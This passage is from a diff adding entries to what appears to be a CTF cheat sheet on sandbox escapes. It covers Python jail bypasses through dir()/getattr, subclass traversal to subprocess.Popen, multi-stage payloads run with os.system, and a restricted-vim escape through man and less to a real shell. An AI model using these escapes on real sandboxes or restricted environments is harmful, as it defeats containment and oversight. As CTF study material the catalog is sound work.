+ getattr(obj, dir(obj)[0])() # calls _ClassName__method
579
+ ```
580
+
581
+ **2. Function constant leakage:** All string literals inside a function body are stored in `func_code.co_consts` (Python 2) or `__code__.co_consts` (Python 3) and are readable from outside.
582
+
583
+ ```python
584
+ # func_code local variable leak (Python 2)
585
+ func.func_code.co_consts # reveals all string literals in function
586
+
587
+ # Python 3 equivalent
588
+ func.__code__.co_consts
589
+ ```
590
+
591
+ **3. Module docstring as data store:** Module-level triple-quoted strings become `module.__doc__`, readable without needing file access.
592
+
593
+ ```python
594
+ # Module docstring access
595
+ import target_module
596
+ target_module.__doc__ # reads module-level triple-quoted string
597
+ ```
598
+
599
+ **Key insight:** Python `__` prefix is name-mangled, not truly private — `dir(obj)` + `getattr()` bypass it. `func_code.co_consts` exposes all literal constants defined inside a function. Module docstrings are always readable as `__doc__` without file access.
600
+
601
+ ---
602
+
603
+ ## Multi-Stage Payload with Class Attribute Persistence (PlaidCTF 2013)
604
+
605
+ **Pattern:** Store intermediate code fragments across multiple jail submissions by writing to class attributes of subclasses.
606
+
607
+ ```python
608
+ # Stage 1: Store code fragment on a subclass
609
+ ().__class__.__base__.__subclasses__()[-2].payload = "import os; os.system('cat /flag.txt')"
610
+
611
+ # Stage 2 (next submission): Retrieve and execute
612
+ exec(().__class__.__base__.__subclasses__()[-2].payload)
613
+ ```
614
+
615
+ **Key insight:** Class attributes persist across separate `eval()`/`exec()` calls within the same process. If the jail limits input length but allows multiple submissions, split the payload across submissions using subclass attributes as storage. Use `IncrementalDecoder` or any persistent subclass as the storage target.
616
+
617
+ ---
618
+
619
+ ## Restricted vim Escape via K (man) to :!sh (TokyoWesterns CTF 4th 2018)
620
+
621
+ **Pattern (shrine):** Sandbox launches a locked-down `vim` with `:shell`/`:!` mapped out and a secure-mode profile. Command-mode escapes are blocked, but normal-mode `K` (look up keyword under cursor via `keywordprg`, default `man`) still works. `man` internally paginates via `less`, and `less` itself has a documented shell-escape: typing `!sh` from the pager spawns a shell with the user's real privileges.
622
+
623
+ **Exploit steps:**
624
+ 1. Open any file in the restricted vim (or create one inline with `vim -c 'new' -c 'put! =\"ls\"'`).
625
+ 2. In normal mode, place the cursor on any identifier and press `K`. vim runs `man <word>`.
626
+ 3. `man` pipes output to `less`. Inside `less`, press `!sh` and hit Enter — the pager fork/execs a real shell.
627
+ 4. Alternatively, once inside `less` type `v` to launch `$EDITOR`; if `EDITOR=vim` is unset the default editor still allows shell escape via `:!`.
628
+
629
+ ```text
630
+ vim file.txt # restricted vim opens
631
+ (cursor on "ls")
632
+ K # runs `man ls` → pager `less`
633
+ !sh # less shell-escape → real shell
634
+ ```
635
+
636
+ **Hardening signals to check first:** `keywordprg` value (`:set keywordprg?`), `secure` mode, whether `shell` option has been cleared, and the `LESSSECURE=1` environment variable. `LESSSECURE=1` specifically disables `!`, `|`, `v`, and `s` inside `less` — its absence is a green light for this escape.
637
+
638
+ **Key insight:** Restricted editors almost always leak via chained pagers and keyword lookups. Catalog every command that spawns a child process (`K`/`keywordprg`, `:grep`, `:make`, `gx` for URL open, `:Man`) before touching `:!`. If even one child process uses `less` or another escape-friendly pager without `LESSSECURE=1`, you have a shell.
639
+
640
+ **References:** TokyoWesterns CTF 4th 2018 — writeup 10859; GTFOBins `vim`/`less`/`man` entries
641
+
642
+ ---
643
+
644
+ ## dir() Attribute Lookup Escape Bypassing __class__ Blocklist (InCTF 2018)
645
+
646
+ **Pattern:** A sandbox substring-filters literal strings `__class__`, `__bases__`, `__subclasses__`, `eval`, and `import`, but `dir(obj)` is allowed and returns the attribute names as strings. Use `dir([])` to look up forbidden attribute names by index, then chain `getattr` calls to reach `object.__subclasses__()` without ever typing the blocked literals.
647
+
648
+ ```python
649
+ # Blacklist: "__class__", "__subclasses__", "eval", "import", "exec"
650
+ # Allowed: dir(), getattr(), list literals, integer literals
651
+
652
+ # Step 1: find the index of "__class__" in dir([])
653
+ # dir([]) == ['__add__', '__class__', '__contains__', ...]
654
+ i_class = 1
655
+ base_attr = 34 # index of "__subclasses__" in dir(getattr([], dir([])[1]))
656
+
657
+ # Step 2: chain getattr with indexed dir() lookups
658
+ cls = getattr([], dir([])[i_class]) # list.__class__
659
+ base = getattr(cls, dir(cls)[dir(cls).index("__base__")]) # object
660
+ subs = getattr(base, dir(base)[base_attr])() # list of all classes
661
+
662
+ # Step 3: find a useful class — often subprocess.Popen
663
+ for klass in subs:
664
+ if "Popen" in getattr(klass, dir(klass)[dir(klass).index("__name__")]):
665
+ break
666
+ klass(["/bin/sh", "-c", "cat flag"])
667
+ ```
668
+
669
+ **Key insight:** `dir()` is a *data* function: it returns plain strings. A substring blocklist scanning the source never sees the blocked words because they are generated at runtime from attribute table bytes. Any Python jail that filters source text without AST walking is defeated by one layer of indirection — `dir`, `globals().get(key)`, or `vars(obj)[key]`. When auditing a jail, always ask: "does the filter see the literal or the *value*?". If it only sees the literal, `dir()` indexing is the shortest escape.
670
+
671
+ **References:** InCTF 2018 — The Most Secure File Uploader, writeup 11528